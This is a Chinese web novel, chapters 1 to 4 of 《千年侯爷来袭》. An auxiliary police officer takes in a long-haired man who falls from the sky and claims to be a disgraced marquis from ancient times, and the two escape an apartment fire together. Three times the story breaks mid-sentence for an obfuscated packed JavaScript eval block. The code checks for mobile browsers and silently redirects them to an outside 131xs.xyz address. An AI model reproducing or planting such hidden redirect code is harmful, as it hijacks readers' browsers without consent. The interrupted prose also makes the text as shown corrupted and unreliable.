《千年侯爷来袭》 1. 天外来物 雨夜。 公交车站。 刚才车祸的死者和伤员已经随仁心医院的救护车一起拉走了,癫狂的肇事司机也被警方控制住带走了。 街上行人不多,君令仪和两个同僚被留下来清理现场。 一个同僚一边清洗地面的血迹,一边庆幸道:“好在是下雨天,洗刷起来不费力,赶紧洗好下班啰。热死了!” 虽然下着如注大雨,但盛夏夜晚未褪去的热气依然蒸腾着大地。他们三人裹着不透气的雨衣,外面淋着雨,里面也闷得被汗水打湿了。 另一个年纪稍大的同僚取下黑框眼镜擦了擦,摸了一把脸上的雨水,又将眼镜戴了回去,收起围住车祸现场的警戒线,感慨道:“唉!这么年轻就走了,可惜了!父母得多伤心啊!” “是呀!还是个大学生,过两年就可以出来工作赚钱了,突然就没了,家里亏大了!” 路灯在灰蒙蒙的雨幕中晦暗不明,君令仪扫完最后一滩血水,直起身来,问那年纪大的同僚:“钦哥,今晚算加班吧?” 被唤作钦哥的是他们这组的组长谢钦,他推了推眼镜,没好气道:“算算算,少不了你,给你记一个钟头,满意吧?”现在的年轻人呀,公私分明不肯吃亏,就算是加班半个钟都嚷着要登记拿加班费。 君令仪伸出两根手指头,嘻嘻一笑:“钦哥,是两个钟,两个钟!我交班的时候发现的车祸,还协助警察叔叔抓住撞人的司机,虽然不记我功劳,但至少算我加班吧。” 另一个同僚红眼病犯了,不乐意道:“协助警察办事不是你的本分吗?” 君令仪敛住了笑容:“壮哥,当时你也在啊,你怎么不帮忙。按理说大家都是辅警,就算协助警察办事是我的分内事,但那也是我下班后做的,不应该给我记加班吗?” 朱壮正要反驳她,但接收到谢钦横过来的眼神,只好悻悻地闭了嘴。 谢钦道:“小君这么算也没错。行,回头我给你记两个钟。” 君令仪立马恢复了笑容:“谢谢钦哥!” 谢钦瞄她一眼:“行啦行啦,赶紧收尾,走啦!” 谢钦是正编民警,君令仪立马立正敬礼:“Yes,Sir!” 朱壮尖着嗓子鄙夷道:“东施效颦!” 君令仪白了他一眼:“要你管,你就妒忌吧。” “呵!我妒忌啥呀,反正你又考不上警察编制。” 虽然他说的是实话,但君令仪不甘示弱,怼道:“考不上又怎样,至少比某人没胆量去考强!” 朱壮被噎得接不上话,狠狠地踱了下脚,丢下一句:“哼!我才不跟女人一般见识。”就收拾好工具放到警车上,准备打道回局。 君令仪自己开了小电驴,清理完就打算回家了,便没有跟他们的车回局里。 正当她优哉游哉骑着小电驴,一辆120从她的身旁呼啸而过,她不经意望了一眼。 哦,翰州三院的。 咦?不对,隔一条马路就是三院了,为什么刚刚公交车站发生的车祸来的救护车不是离得最近的三院,而是十公里外的仁心医院?而且几乎是车祸一发生,仁心医院的救护车就到了,这么巧刚好路过吗? 君令仪想得走了神,突然前方一个闪电劈开了漆黑的夜空,刹那间的炽白晃得她下意识地侧过头眯了下双眼,紧接着轰隆隆的雷声擂鼓而至。 下一秒,“嘭!”的一声巨响,一个从天而降的物体重重地砸到了她的小电驴的后座上。巨大的撞击瞬间让她失去了平衡,直愣愣地撞到了路灯杆子上,连人带车翻倒在地。 君令仪被车压了一侧小腿,幸好车身不重,她平时又坚持体能训练,这才勉强推开车子站了起来,隔着头盔和雨幕看向几米开外那个纹丝不动的物体。 “谁那么缺德高空坠物,想砸死人啊!”她骂骂咧咧一瘸一拐地走了过去。 走进一看,她倒吸一口气,连忙把头盔取下再看清楚点。 妈的!真是个人!还是个衣衫褴褛披头散发的女……男人?! 毛病啊!一个大男人留那么长头发!搞艺术过了啊! 还有,最不能忍的一点是:自杀滚远点!不要祸害别人啊!差一点就直接砸她身上了!他不想活她还想活呢! 君令仪气完,有点后怕地颤抖着手去探那男人的鼻息。 还有气!没死,太好了! 咦?地上怎么没见有血迹,这人到底伤到哪了?都是内伤吗? 路上都是匆匆赶路的人,一个大妈经过停了下来,叫道:“哎哟!撞到人了!要死啦!快打120啦!” 君令仪这才想起这茬,忙拿出手机拨了120。 翰州三院的救护车很快就到了,医护人员有条不紊地将伤者迅速抬进了车里。 君令仪犹豫了一下,还是脱了雨衣跟着上了车。她还不忘打了110报警,叮嘱民警把自己的小电驴锁好别被偷了。 虽然也许可能没人看上一辆撞坏的不起眼的小电驴,但保不齐收破烂的收走了呢,高低那也值两个钱啊…… 挂了电话,她这才将视线移到那个躺在担架上昏迷的男人。 他浑身都是雨水和泥泞,长发遮面看不清长相,但大约可以看出他双目紧闭、眉头深锁,看似不省人事,却又像只是睡得不安稳而已。 他身穿一套脏得灰扑扑、捉襟见肘、破破烂烂的素色麻衣,胸前隐约能看到一个大大的圆圈圈住一个“囚”字。 这活脱脱就是古装电视剧里跑出来的囚犯嘛! 这人莫不是某个影视剧里的群演,开完工戏服还没脱就想不开跳楼了? 咦?他衣摆遮掩的腰间好像还悬挂着一个什么东西?那尺寸和形状,难道是折叠手机?小钱包?说不定是能证明他身份的物件。 君令仪看了看正忙着给这男人检测体征的医护人员,没人有空理她,她便直接伸手掀开了他的衣摆。 映入眼帘的是一块玲珑有致、润泽生辉的足有三寸长的环状白玉佩! 这玉佩看着玉质上乘,雕工精湛,环形上雕的是一条纹理清晰、栩栩如生的应龙!圆环里还有一块连着的浑圆小玉佩,是个镂空浮雕,雕的是……一个带藤的瓜?! 君令仪愣了愣,又用力眨了眨眼。 没看错,就是一个小瓜。 呃,龙不是应该配凤吗?怎么会是一个瓜? 不是,现在影视剧的道具确实做得以假乱真,可为什么又这么敷衍地镂空雕一个小瓜?! 君令仪疑惑地伸手去触碰那个小瓜,就在触碰的一刹那,一股强劲酥麻的电流从玉佩传到了她的手上,瞬间贯穿了她全身。她一个激灵,眼前出现了一幅模糊不清且真假难辨的画面。 那是某个朝代的府邸,正堂中央的地上摆着一个个敞开的木箱,里面盛满了金银珠宝、绸缎彩线、茶饼喜果,甚至还有一对活雁。一双两鬓斑白的父母笑意盈盈地接过一个年过半百的男人递过来的文书,文书上隐约可见“聘书”二字。 这画面转瞬即逝,君令仪很快回过神来。她没多想,只当是最近电视剧看多了下意识出现的幻觉。 片刻后,救护车到了翰州三院,那昏迷的长发男人被推进了急救手术室,一个从车上下来的白大褂看了看君令仪身上的制服,问道:“你是辅警?” 君令仪点了点头。 “那行,你去给伤者办手续。” 君令仪一个头两个大:“我不认识他啊。” 白大褂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323378|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睨了她一眼:“难道我就认识了?你没看到他身上啥也没带吗?” 那自然是看到,一眼就看完了。 白大褂又道:“他不是认识你吗,刚才在救护车上醒了一会跟你说了句话。” 冤枉啊!谁知道摸了他的玉佩,他竟突然苏醒,然后看了她一眼,嘀咕道:“你也在啊……”话没说完又晕过去了。 “我真不认识他啊!他,他不是晕吗?应该是认错人了。反正我和他一点关系也没有,他受伤也跟我没关系的,我只是被他跳楼砸到了而已。啊,说不定他是被人推下楼的,谁知道呢。” “行了,不管你们认不认识,你和他一起来的,给他办手续吧。”那白大褂打量了下她,“你自己也去骨科那边看看腿有没有事吧。”他说完头也不回地忙去了。 呵!看骨科又得拍片什么的,哪有钱折腾。而且还摊上个古怪男人,都不知要给他垫付多少钱。 君令仪百口莫辩,垂头丧气地到收费窗口办手续。 办完后,她又一瘸一拐地走到急诊科的咨询台,摊开擦破皮渗着血的右掌,可怜兮兮地对护士道:“姑娘,有没有碘酒之类的可以给我涂一下伤口?” 护士瞄了她一眼,往旁边的急诊室一指,道:“进里面找医生给你处理一下就行。” 急诊室里躺满了患者,身着白大褂的几个医生忙里忙外的,哪顾得上她。 君令仪悄咪咪地看了看四周,在门边角落瞄到一个处理台,上面放着医用棉签、碘伏、纱布之类的外伤急用物件。她自己没有挂号,不敢打扰医生,轻手轻脚地挪过去,偷偷抽了根棉签自己给手掌的伤处涂上碘伏。 这时,一个美女白大褂进来转了一圈找人,似乎没找到,然后叫道:“老六!26号床的老六!老六在不在?老六的家属呢?” 什么年代了,哪个傻逼父母给孩子起这么个不走心的名…… 君令仪好奇地望向那些或躺或坐着的病人。 没人应。 那白大褂翻了翻手上的病例,嘀咕道:“没错啊,26号床,刚刚从手术室转移到这里了,怎么没人了?”她又高声嚷了一遍:“老六!谁是老六?” 啊!是老六! 君令仪一个激灵,突然想起自己给那个长发男人办手续时登记的姓名。 呃,当时没多想,随便就取了个好记的。 “我我我,我在呢!”她连忙举起手拖着受伤的腿跑到白大褂面前,“不好意思!我刚刚没听到呢。” 那白大褂打量了她一下,疑惑道:“老六,男,你是老六?” “不是不是,我是老六的……呃,朋友。他什么情况?伤得严重吗?” “你这个朋友运气好,全身检查过了,没什么大碍,就是脑震荡有点严重,要过几天才能缓过来,建议转普通病房再观察两天。” 什么?!还要住院?就他那个穷酸样,他有没有钱住院的啊!不会又要她垫付吧,她可没剩多少钱了! “我再考虑考虑哈。他人呢?是不是搞错病房了?” 那白大褂又认真看了下病例:“没搞错,就是转到这里的26号床,应该只是醒了走开了,你再找找他。对了,记得补交检查的费用。”她说着将病例递了过来。 君令仪接过病例,道:“好的,谢谢!” 白大褂点点头转身忙去了。 君令仪翻开病例,里面夹着用药明细和费用单。她一看那个金额,顿时眼前一黑。 什么检查要小几千啊!不行,得找到那人让他自己付钱!怎么说,她才是受害者呀,而且她的小电驴是他撞坏的,他得赔她! 君令仪打定主意,抬起头正要去找人,却一下子撞入一双漆黑深邃的眼眸中。 2. 天大麻烦 眼前人身如玉树,面如桃瓣,一双妖娆的瑞凤眼半眯着看着她。 他已换上三院的病服,可那长发依然突兀地昭示着他的不同寻常。 咳,之前他浑身脏兮兮的,脸也都是污水泥泞,看不清长相,谁知把脸洗干净了,原来竟是个俊美非凡的小白脸呀。 不得不说这长相可以演主角了,该不会是某个不得志的小明星吧? 君令仪眨了眨眼,微微一笑,把费用单递给他,道:“老六,不,帅哥,我看你能走能动的,自己去交一下费用呗。” 那男人不接,轻佻地一笑,缓缓开口,嗓音却是暗哑的,似乎喉咙有损:“任小姐,这么快就不认识本侯了?” 君令仪眉心一跳。这人莫不是还没从戏里出来?可怜的内娱打工人,演戏演魔怔了。 她皱了皱眉:“别演了,收工了。你跳楼砸到我你记得吧,你得赔我的医药费和修车费。”她粗略算了下,“大概两千,你放心,只会少不会多。” 男人鄙夷道:“任小姐真是狮子大开口,两千石,是本侯一年的俸禄。” 君令仪牙疼的表情:“喂!什么蛋不蛋的,我才不稀罕你的蛋,我要两千块!你得赔我两千块,听懂了没!还有,我不姓任,我姓君!” 男人侧着头想了想,道:“两千块铜钱?还是白银?你该不会想要官锭吧?” 他语气是嘲弄的,君令仪倒吸一口气,这人不像演的,脑震荡这么严重吗?把人都困死在古代了? 她没好气地说明:“两千块人民币,新中国都统一使用毛爷爷作为货币,OK?” 她不想跟他继续纠缠这个问题,只想赶紧把人送走,便又一连串地问道:“你叫什么?住哪?记不记得家里人或者朋友的电话?我给他们打个电话,通知他们来接你。” 男人双手抱胸,脸上依然是揶揄的神情:“虽然本侯退了你的婚事,你也不至于假装不认得本侯吧,任君。” 君令仪真是气不打一处来,横眉竖眼道:“本侯本侯,你以为你是什么侯爷啊,还是哪个山头跑下来的野猴子!我还本公主呢,我有公主病,你别惹我!” 那男人被气得面红耳赤,终于收起吊儿郎当样,生气道:“任君,你果然如传闻中一样,蛮横骄纵、泼辣无礼,跟个乡村野妇般粗鄙,看来本侯……本人……我退婚是退对了。你这样的女子根本配不上本……我,哼!” “得得得,我配不上你,我走行了吧。算我倒霉,我自己认栽,钱我不要了,你自己的费用自己交去,拜拜咯!侯,爷!”君令仪说着,把病例和单据往他身上一甩,强忍着腿伤大步流星地走出了急诊室。 那男人一愣,拿着单据追出来,叫道:“任君……君小姐!留步!” 他嗓音有损,听起来就像是要了命似的奋力叫她。可君令仪再也不想跟他纠缠,脚步一刻不停,但她毕竟腿上有伤,没一会就被人家追上了。 他拦住了她,悄声道:“君小姐,本……我方才巡视过了,这里很安全,没有锦衣卫。我打听过了,此地名叫翰州,地处岭南,应该是皇上念在血脉亲情给我改判为流放了。你不需再避着我。” 君令仪顺着他的话头,耐着心问:“所以,在你的剧本里,你原来是囚犯?” 那男人脸一抽,争辩道:“我是被牵连的,被冤枉的,不是我。” “行,你是被冤枉的。那你现在可以告诉我,你到底叫什么名字,家住何处了吗?” 男人疑惑地审视了她片刻,似乎终于接受了事实般,问道:“你当真不是任君?你和她长得十分相像,只是比她略黑。” 天天出外勤,能不黑么。 “不是,我叫君令仪。” 男人沉吟道:“‘岂弟君子,莫不令仪。’君令仪,好名字。君小姐,我复姓容成,单名叙,字纵怀。你记起我来了吗?” 呵!瞧这一本正经的小样儿,真能装,不是还把她当成那什么任君了么。行吧,随便他,至少知道他姓甚名谁了。 “那你住哪?” “此地我无住处。” 君令仪不由得翻了个白眼:“你下一句应该会说:我也没有亲朋好友,没有银子,什么都没有。对吗?” 容成叙挑了挑眉,又轻佻一笑:“任……君小姐果然很了解我。” 在他的剧本里,他言外之意是指虽然她被他退了婚,但她对他余情未了、痴心不改,追到了他所在的流放之地来。 呵呵!真能想,这人脑子是真的出了问题。 君令仪勉强一笑:“那请问,您接下来有什么打算?” 容成叙慢条斯理地道:“此处房屋明亮开阔,百姓衣着奇异,民风淳朴,甚是自由。我决定留下来了。” “那你有钱吗?” 容成叙白皙的脸微微泛红:“走得急,没带盘缠。” 君令仪挖苦的语气:“也就是身无分文咯?” 他默默地点了点头。 “那让你那些皇亲国戚寄些过来?” 容成叙抿紧了唇不言语。 “怎么?家里没人了?呵!”演不下去了吧,哼!小样儿。 容成叙听出了她言语中的不屑,双眸瞬间凌厉起来,盯着她看了好一会,最终也没说什么。 君令仪直言不讳:“你啥都没有,怎么活?” 容成叙眼眸一转,又恢复了吊儿郎当:“不是还有你么?”他打量了她一眼,微微一笑,“我看你比我早到此地,已经入乡随俗了,你肯定有办法。” 这意思是赖上她了?!她自己一个人活得就够呛的,哪还顾得上他这位养尊处优的祖宗啊! 君令仪瞪大了双眼,毫不掩饰满脸的嫌弃:“我可管不了你,吃喝拉撒衣食住行都要钱,你一个脑子有病的人,别跟着我。” 容成叙脸都绿了,申辩道:“我没病,我能应付此地,也能做些营生。” 他说得倒是有道理,虽然他脑子不好使,但他有手有脚,颜值不是一般高,少说话估计能骗不少芳心呢。嗯,就算是摆地摊应该也能赚回她给他垫付的钱。 君令仪寻思着,道:“可以,我可以暂时管你吃住,但你得给我打工,打工人的第一步——”她说着走近一步,一把抓住他的长发往下一扯,“把假发给我脱掉,回归现实。” “啊——”容成叙大叫一声,脸上瞬间无色。 “呃……”君令仪看着自己手上扯下来的一撮乌黑的长发发愣。 不是,这是真发啊?!这么柔顺光泽的长发竟然是男人的头发?!没天理啊!她一个女人都没这发质,怎么保养的? 容成叙痛得龇牙咧嘴的,不知是不是好教养让他愣是忍住了,否则一般人估计这会定是咆哮着骂人了。他捂住空了的那处头皮,后退一大步呈防御姿态,怨气深重地道:“你别过来!身体发肤受之父母,你怎能说拔就拔!” 虽然君令仪对刚刚不小心拔掉了他的头发有点愧疚,但一听他这古板的话,愧疚感瞬间消失得无影无踪。她无语道:“行行行,你爱留长发随你,不过你得给我扎起来,披头散发成何体统。” 就是,一头柔亮乌黑的长发真是刺眼,看着就不爽。 容成叙立刻道:“依你所言。有布条吗?” 君令仪白他一眼:“无缘无故哪来的布条。”她突然想起急诊室里的处理台,“哦,里面有纱布?要吗?” 容成叙脸一黑,瞪了她一眼:“不要!纱布是素白的。” 君令仪无语道:“行,您讲究,您自己看着办。” 容成叙只好把病例给她先拿着,自己拢起长发束成马尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323379|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又尝试着将马尾缠绕成一个丸子头,然后走到几步远的垃圾桶,从垃圾桶里翻出一根一次性竹筷子,在里面用过的纸巾上擦了又擦,将筷子上的食物残渣和油垢擦干净了,才又插到丸子头上。他束发的手艺似乎并不娴熟,插了好几次都没插成功。 君令仪目瞪口呆地看着这一切,感觉螺蛳粉的酸臭味扑面而来。 我的爷,您这是讲究呢,还是——讲究呢…… 好吧,看您这么努力也要保住身体发肤的份上,还是帮帮您吧。 君令仪走过去,伸出手来,道:“给我。” 容成叙警惕地看她一眼:“你要作甚!” 君令仪没好气的:“没作甚,教你做人,做个正常人。筷子给我。” 容成叙大概看出她没有敌意,便顺从地把筷子递给了她。 君令仪看了眼筷子头那渗入竹子里的油垢,眉头都不带皱一下,双手握住,一发力,把筷子头折了下来,丢进了垃圾桶,再从自己的衣兜里掏出一把小刀,将剩余的干净筷子的折断处削圆滑了。 容成叙张口结舌地看着她的动作,奇道:“没想到君小姐一个弱女子,力气竟如此之大,真不愧是将门之后!” 君令仪抬起头来,勾起一边嘴角,鬼魅似的道:“天生的,专治不听话的混蛋,尤其是二流子。” 容成叙的脸一抽,扯了扯嘴角,没骨气地笑道:“呵呵!我听话得很。” 看来是个软包子,这就好办了。 君令仪喝道:“蹲下!” 容成叙抿紧了唇,倔强了一秒,就乖乖地半蹲下身。 君令仪绕到他后面,抓住他后脑的丸子头缠绕一圈,找准位置,将筷子插了进去,大功告成。 她前后左右转了一圈欣赏了一遍他的新发髻。 嗯,不得不说,他扎起发髻,露出侧脸和头顶的美人尖,剑眉星目,肤如凝脂,配上三院的病服和……大脚丫子,整个人有一种说不清道不明的病态美。 可不知为何,除了病态美,总觉得这人的眼里还有一丝趾高气昂和……流里流气? “咳!看够了没?没想到君小姐对我还是一如既往的着迷呀!” 君令仪回过神来,瞧见他一脸的揶揄,她非但没有半点羞愧,反而大言不惭道:“醒醒吧你,我不喜欢你这种类型的好不好,虚有其表,华而不实,长得好看又不能当饭吃。” 容成叙大概不擅长和人斗嘴,听了这话脸都绿了,艰难地消化了一阵,才自言自语道:“好男不与女斗,计较非丈夫。本侯退了她的婚,她记恨本侯是应该的,不要和她一般见识。” 呵!美得你啊,还以为她是任君,对他一往情深呢。唉!这个任小姐真是造孽,喜欢谁不好喜欢这么个自以为是的神经病。 君令仪不耐烦地看了看电子表:“行啦,赶紧交了费走了,再拖拉班车都没了。” 两人交了费,走出了医院大门。 雨还在淅淅沥沥地下着,门口距离公交车站有十几米远呢。 君令仪手上只有一件雨衣,她叹了口气,双手撑开雨衣,叫旁边的人:“喂,过来。” 容成叙不乐意了:“我有名有姓有字,不叫‘喂’。” 君令仪只想赶上末班车,立刻从善如流道:“嗯,容成叙,过来。” 容成叙又不乐意了:“你怎敢直呼本侯……我的名讳!” 君令仪看了看时间,再磨蹭就赶不上末班车了。她一个眼刀飞过去:“不过来我走了!” 容成叙双眼一眯,大义凛然道:“男女授受不亲,是君小姐你主动说让我过来,我才过来的,并不是我……” 他话还没说完,就被君令仪一把拽住拉到雨衣里。 “走!” 一声令下,两人冲进了雨里。 3. 突发状况 末班车是赶上了,但是身边的人絮絮叨叨了一路。 “君小姐,岭南之地真是钟灵毓秀、安闲舒适呀!你看,官道通畅,马车宽敞,男女共乘,其乐融融,真真是一处祥和之境!” “只是,为何有些女子不知廉耻地裸露双腿,她们都是勾栏里的伶人吗?” 君令仪看了看后排的乘客,无语道:“天气热呗。你没看到也有男的穿短裤吗?” “确实。此地的衣着文化真是开放呀!” 是你入戏太深了吧。 “君小姐,你手上的是何物?一个小匣子?瞧你玩得入了神……嗯,左上的红花可连,右边的两棵树亦可连,下面的草亦可,草,草,我说了草!哎呀!草!” 我才艹啊!烦死了!玩个消消乐都被吵得分了神输掉了。 君令仪深吸一口气,告诫自己,他是个神经病,原谅他吧。 雨夜的末班公交车上没什么人,他们俩坐在司机后的座位上。因为所谓的“男女授受不亲”,容成叙还专门和她隔了一个座位坐下的。 对面坐了一对母女,已经盯着他们看了好一阵了,他们的对话自然都听到了。 那母亲忍不住好言相劝道:“靓女,你们看病找错医院了吧,应该去四院,有专门的精神科。” 君令仪扫了眼旁边依然穿着翰州三院病服的男人,对那母亲礼貌笑道:“也对,改天去看看。” 容成叙眉头一皱,故意用更暗哑的嗓音道:“我只是咽喉有异,并无癔症,无需看大夫。” 对面那穿着高中校服的女孩噗呲一声笑了:“姐,你朋友大概是从古代穿越过来的,好像一个古代人。” 君令仪哈哈一笑:“妹妹说得有道理,估计他自己也这么认为。”她上身前倾,用手掌挡住嘴悄声又道,“你知道精神分裂症吧,沉浸在自己幻想的世界里。” 女孩心领神会地笑了笑。 容成叙大概猜到她们在笑话他,便终于闭了嘴安静下来了。 好不容易回到家,谁知,他一进门又开始一脸嫌弃地叽歪了。 “此处便是君小姐的住所?!将军府的小姐怎能住如此逼仄的房屋。难道你没带够盘缠吗?” 君令仪终于忍无可忍了,横眉竖眼毫不留情地吼道:“你够了啊!别让我再听见你的声音!现在,立刻,马上,给我滚去洗澡!” 人被她赶进了浴室,过了好一会听到有水声了,君令仪才放下心来,去厨房下了两个面。 忙到现在,晚饭还没吃呢。 容成叙洗澡的速度比她想象中的快,面刚煮好他就穿回三院的病服出来了。 嗯,她一个人租的一房一厅,几乎什么东西都是一人份的,更不会有男人的衣物给他换洗。 君令仪端上两碗素面放到小餐桌上,又给他拉了个小板凳,招呼道:“过来,吃面。”然后,自己坐到对面去。 容成叙看了看她坐的凳子,又看了看自己的小板凳,不乐意地抿了抿嘴,但终归还是乖乖坐下了。可小板凳的确矮,他一坐下嘴就到碗边了,显得怪滑稽的。 君令仪咬了咬唇,忍住笑,低着头迅速吃完了面,正要收拾碗筷,瞧见对面的人根本没动过筷,她问道:“怎么?不饿?” 话音刚落,就听到他的肚子咕咕地叫了起来。 君令仪挑高了眉:“快吃,不吃我收了。” 她说着站起来作势要去收他的碗筷,他眼疾手快地按住了,抬起头幽怨地看着她。 君令仪刮了他一眼:“看我干嘛,我脸上有吃的?” 容成叙指了指自己的嘴,君令仪顿时醒悟起来,说:“讲话。” 容成叙立刻提出了要求:“有肉吗?” 君令仪冷笑一声:“身无分文,还欠着我的钱,吃我的住我的,有面给你吃算我有良心了,还想吃肉,做梦!” 容成叙大概已经习惯了她的泼辣,面不改色道:“蛋亦可,你自己方才不是吃了个煎蛋么。” 君令仪泰然自若道:“我是劳动力,需要蛋白质补充营养。你一个不干活的,没必要吃好的。” 容成叙一咬牙,恨恨道:“等我做些营生赚了银子,买了肉偷偷藏起来不给你吃。” 君令仪鄙夷道:“我等着这一天。”然后又吩咐道,“对了,面不能白吃,你得洗碗。洗完碗就可以睡了,你睡那沙发。” 那布艺小沙发只有一米二,最多只能放下他的大长腿,但这已是客厅里唯一可以睡觉的地方了。 容成叙瞄了眼那小沙发,剑眉皱了起来:“本侯只睡金丝楠。” 君令仪挑高了眉:“要么睡那,要么睡大街上,你选一个。” 容成叙听了,虽然面上依然不悦,但也没再说什么。估计他已经接受了君小姐是个穷光蛋的事实了。 君令仪洗漱好,脚上的伤也缓解了不少,她给伤处贴上膏药,回房躺下没多久,就听到急促的敲门声和容成叙沙哑却压抑的叫唤:“君小姐,君小姐,醒醒!快醒醒!” 君令仪朦朦胧胧地起床,开了小夜灯,摸到门口打开门,不耐烦道:“你又干嘛,还让不让人睡觉了。” 君令仪穿的是短睡裙,容成叙瞧她一眼,脸一红,避开目光,小声道:“外面有人在砸门!你听!” 君令仪凝神一听,安慰他说:“没事,对面的酒鬼又喝醉了而已,不用管他,他折腾一会就走的。你安心睡。” “太吵了,我睡不了。” 君令仪打了个大大的哈欠:“慢慢睡就能睡着了,乖。”她说着转身就要进房了。 “君小姐!”容成叙蓦地拉住她,意识到什么,又立刻放开,“你陪我交谈片刻吧。” 君令仪无语地看他一眼:“你多大了,还要人哄睡……” 容成叙一笑:“比你年长两岁,你不是晓得么。” 君令仪打量了他几眼,疑惑道:“怎么看着这么嫩,不像二十六的人啊。” 容成叙愣了愣,又笑:“君小姐算数原来如此之差,我加冠方两年。” 君令仪没听懂:“我读书少不明白,所以是多大?” “二十二。” “哈!果然比我小,你得叫我一声姐!”君令仪听了乐开怀。 容成叙涨红了脸:“你骗我!我明明比你年长两岁!” 君令仪调皮一笑:“谁骗你啊,我有身份证为证,现在是我比你年长两岁了,哈哈!” 容成叙懊恼的:“怎么可能!岂有此理!” 这时,屋外突然传来了打斗声,紧接着是酒瓶碎裂的声响,还有那酒鬼骂骂咧咧的粗狂嗓音,加上其他住户的猫狗陆陆续续的叫嚷声,各种声音混杂在一起,一时间在雨停后寂静的深夜里显得格外的热闹。 两人默契地屏息静听,过了一阵,随着一声闷哼和倒地声,打斗声停止了,猫狗们的叫嚷声也被主人喝住了。 世界安静了。 君令仪正要进房去,忽然觉察到异样,她吸了吸鼻子,问道:“你有闻到一股奇怪的味道吗?” 未待容成叙回答,浓烟已从家门口的门缝源源不断地钻了进来! 君令仪二话不说,迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323380|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速进浴室打湿了毛巾和浴巾,将浴巾甩给了容成叙,急切地嚷道:“捂住口鼻!” 容成叙立刻意识到危险,学着她照做,瓮声瓮气地问:“走水了吗?” 君令仪已快速进房拿了手机,一边急速走到门口一边答他:“对,别说话,跟紧我!" 她徒手尝试摸了摸门把手,很烫,着火点应该就在门外,而且火势很大,冒然开门出去,恐怕不死也得烧个半死不活! 此路不通,只能另寻他路。 浓烟滚滚涌了进来,眼看门都要烧裂了,君令仪火速把湿毛巾当成口罩在脑后打了个结,腾出双手从客厅的柜子里掏出一捆麻绳。这是组长谢钦淘汰不要的登山绳,她看着可惜就问拿了回来,没想到这时却派上了用场。 她提着绳索跑到小阳台,打开防盗网的逃生窗,将绳索一端的锁扣扣在防盗网上,回头叫道:“容成叙!咳咳!”她才一开口,就被浓烟呛着了。 容成叙倒是机灵,在她回头的瞬间就已经走到她身后了。 眼前满是浑浊刺鼻的浓烟,君令仪的双眼几乎睁不开了,只好在黑暗中摸索着抓住他,往他身上套上绳索,在腰身和双腿上绕了几圈打了个死结,推着他往逃生窗上爬,嘴里囫囵道:“跳!快跳!” 容成叙坐在窗台上回头看她:“你呢?你将奈何?” 君令仪用力推他,却推不动,万分焦急道:“绳子不结实,你先下去,之后我就来。” 容成叙不动,一手拉住她,语气坚定:“不可!一起走。” 紧急关头,争分夺秒,还在这磨磨唧唧,拍电视剧啊!人命关天,谁要你讲义气! 君令仪又急又气,甩开他的手,飞起一脚把他踹了下去! 但他竟然手脚麻利地攀住了窗台的外延,整个人牢牢地吊挂在墙上! 君令仪急忙趴到窗台去看他,一边扒拉他的手一边骂道:“你个疯子!松手!快下去,你这样我更活不了!” 容成叙反手紧紧地抓住了她的手,双眸深邃明亮,却不言语。 小阳台的温度越来越高,浓烟也越来越多,君令仪被炙烤得双颊通红,她回头看向门口。此刻大门已经烧起来了,再耽搁,两人都逃不了! 她一咬牙,爬上窗台,正要将登山绳绕上腰间,谁知,“嘭”的一声巨响,一股强劲的热浪伴随着肆虐的火舌扑面而来! 君令仪被这突如其来的冲击力狠狠地推了出去,甚至都来不及抓牢绳索就晕了过去! 容成叙眼疾手快地松了手,腾空一把接住了她,牢牢地把她抱住了! 登山绳快速下降,完全没有缓冲,一会就到头了,两人距离地面还有两米多,弹跳了两下,最后被吊在了半空中。 但这登山绳终究是淘汰了的工具,根本承受不住两个人的重量,绳索细处开始撕裂,很快绳索断了,两人生生砸到了地面。 幸好高度不算高,容成叙又当了人肉垫子,君令仪才没有受伤。 容成叙却不好受,他背部受力,痛得咧牙呲嘴的,但也顾不上自己,慌忙摇了摇身上的人:“君小姐,醒醒!君小姐。任君!” 君令仪慢慢苏醒,迷糊地眨了眨眼,瞬间恢复清醒,急忙从容成叙身上跳了下来,抬头看着已成火海的家,气急败坏地破口大骂道:“我艹啊!哪个傻逼不长脑子搞着火了!我啥都没拿,我血亏啊!这个月房租也交了,房东肯定不给我退啊!我艹了!” 躺在地上的容成叙默默地坐了起来,不知是被热浪熏的还是怎么的,脸竟比君令仪的还红,红得简直要滴出血来。 4. 藤瓜与卷 君令仪气完了,想起自己逃生时是拿了手机的,连忙摸摸自己的口袋。 淦!不见了! 她借着灯光和火光四处搜寻,很快便在他们跌落之处附近找到了。幸运的是,虽然手机屏幕碎了,但还是能正常使用。 君令仪松了一口气。感谢无卡支付的智能时代,一部手机就可以走天下! 